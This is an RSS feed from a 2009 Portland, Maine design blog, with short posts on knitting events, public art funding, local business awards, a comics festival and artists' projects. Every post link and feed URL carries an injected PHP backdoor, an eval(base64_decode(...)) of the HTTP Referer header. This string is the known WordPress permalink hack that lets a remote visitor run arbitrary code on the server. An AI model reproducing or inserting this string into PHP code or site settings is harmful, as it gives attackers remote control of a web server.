Port City Studios http://blog.portcitystudios.com Design in the World Around Us Sun, 21 Jun 2009 10:48:16 +0000 http://wordpress.org/?v=2.7 en hourly 1 International Knit In Public Day – Portland ME http://blog.portcitystudios.com/2009/06/13/international-knit-in-public-day-%e2%80%93-portland-me/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://blog.portcitystudios.com/2009/06/13/international-knit-in-public-day-%e2%80%93-portland-me/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 13 Jun 2009 21:04:19 +0000 Peter http://blog.portcitystudios.com/?p=1003 Today is International Knit In Public Day and the sidewalk near Eli Phant was a knitting fest all day today thanks to KnitWit Yarn Shop.

Knit In Public Daycarrier to noise ratio

Knit In Public Day

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See more by Oilver Bishop here

Oliver Bishop Pool

Oliver Bishop Pool

]]> http://blog.portcitystudios.com/2009/05/28/oliver-bishops-skip-conversion/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 30 Years Of Public Art In Maine http://blog.portcitystudios.com/2009/05/27/30-years-of-public-art-in-maine/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://blog.portcitystudios.com/2009/05/27/30-years-of-public-art-in-maine/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 28 May 2009 00:02:19 +0000 Peter http://blog.portcitystudios.com/?p=984 30 Years of Maine Public Art

The Maine Arts Commission is celebrating its 30th year of Public Art with a series of state wide events from May to November 2009. Public Art in Maine is supported largely by state and municipal budgets. The one percent for arts program is the main funding vehicle for these programs. Administered through a public request for proposal (RFP) process the one percent for arts funding is awarded to artist on a competitive basis.

One percent lands communities a mix of inspirational or pathetic art; like all good public art it encourages conversation and a wide mix of emotions. It’s all in the eye of the beholder. Congrats MAC! Maine is more interesting because of you.

Schedule at: mainearts.maine.gov

]]> http://blog.portcitystudios.com/2009/05/27/30-years-of-public-art-in-maine/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Indie Biz Awards Recognizes Local Business http://blog.portcitystudios.com/2009/05/21/indie-biz-awards-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://blog.portcitystudios.com/2009/05/21/indie-biz-awards-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 22 May 2009 01:57:34 +0000 Peter http://blog.portcitystudios.com/?p=977 The second annual Indie Biz Awards was held last night at the Empire in downtown Portland. Nine locally owned and independent businesses were recognized by Portland Buy Local for their commitment to and work in the community. Over 1,500 people cast votes for their favorite businesses.

View the winners here

Indie Biz Awards

Indie Biz Awards

]]> http://blog.portcitystudios.com/2009/05/21/indie-biz-awards-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Finding the Center for Cartoon Studies at the Maine Comics Arts Festival http://blog.portcitystudios.com/2009/05/17/finding-the-center-for-cartoon-studies-at-the-maine-comics-arts-festival/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://blog.portcitystudios.com/2009/05/17/finding-the-center-for-cartoon-studies-at-the-maine-comics-arts-festival/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 18 May 2009 02:32:40 +0000 Peter http://blog.portcitystudios.com/?p=973 The Maine Comics Arts Festival was held today in Portland, showcasing over 70 comic artists, illustrators, and cartoonists. Our favorite find was the Center for Cartoon Studies located in White River Junction Vermont. The Center offers a two-year course focused on the creation and dissemination of comic art, graphic novels, and visual narratives.

Sally and I are definitely heading up there for a visit, hoping to bring back some very amazing work to the store.

The Center For Cartoon Studies

The Center For Cartoon Studies

Center For Cartoon Studies

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This Ad Cost Nothing

This Ad Cost Nothing

]]> http://blog.portcitystudios.com/2009/05/17/this-ad-cost-nothing-salvation-army-ad-campaign/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Joe Kievitt Shares His Latest Mosaic Project http://blog.portcitystudios.com/2009/05/14/joe-kievitt-share-his-latest-mosaic-project/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://blog.portcitystudios.com/2009/05/14/joe-kievitt-share-his-latest-mosaic-project/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 14 May 2009 11:22:53 +0000 Peter http://blog.portcitystudios.com/?p=957 Joe recently posted wonderful new images of his latest mosaic project! The tiled bathroom is installed in a home on Portland’s East End which features commissioned work from Maine artists and craftsman.

See more of Joe’s work at this web site: joekievitt.com

Photo Source: Joe Kievitt

Joe Kevitt Mosaic Bathroom

Joe Kevitt Studio

Joe Kevitt in Progress

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Save the Date! Eli Phant came into existence an entire year ago! Can you believe it. In June we will be doing some celebrating– please put it on your calendars:

June 5th (First Friday): Opening Reception for Unkle Thirsty’s show at Eli Phant. In addition to the clever porcelain cups we all know and love, Unkle Thirsty produces wall art, tiles and larger functional pieces. Come check it out.

June 6th: Party!! Party!!! Paaaarrty!!!! That’s right, we’ll be celebrating in style, and we want you to celebrate with us. So mark it on your calendars. It will be fun.

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What’s a wee little blog to do?

]]> http://blog.portcitystudios.com/2009/05/07/fatal-server-error-wtf/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Wary Meyers On The Move http://blog.portcitystudios.com/2009/05/02/wary-meyers-on-the-move/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://blog.portcitystudios.com/2009/05/02/wary-meyers-on-the-move/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 02 May 2009 19:24:59 +0000 Peter http://blog.portcitystudios.com/?p=939 Wary Meyers Blog

Our friends John and Linda recently launch a blog documenting the rugs they look under, doors they open, and bins they sort through as they find some of the hidden treasures collecting dust in the everymans home. Their photos, stories and art are incredible. I am sure we will be seeing their blog referenced monthly by the the endless collection of design blogs.

Visit their blog at: warymeyers.blogspot.com

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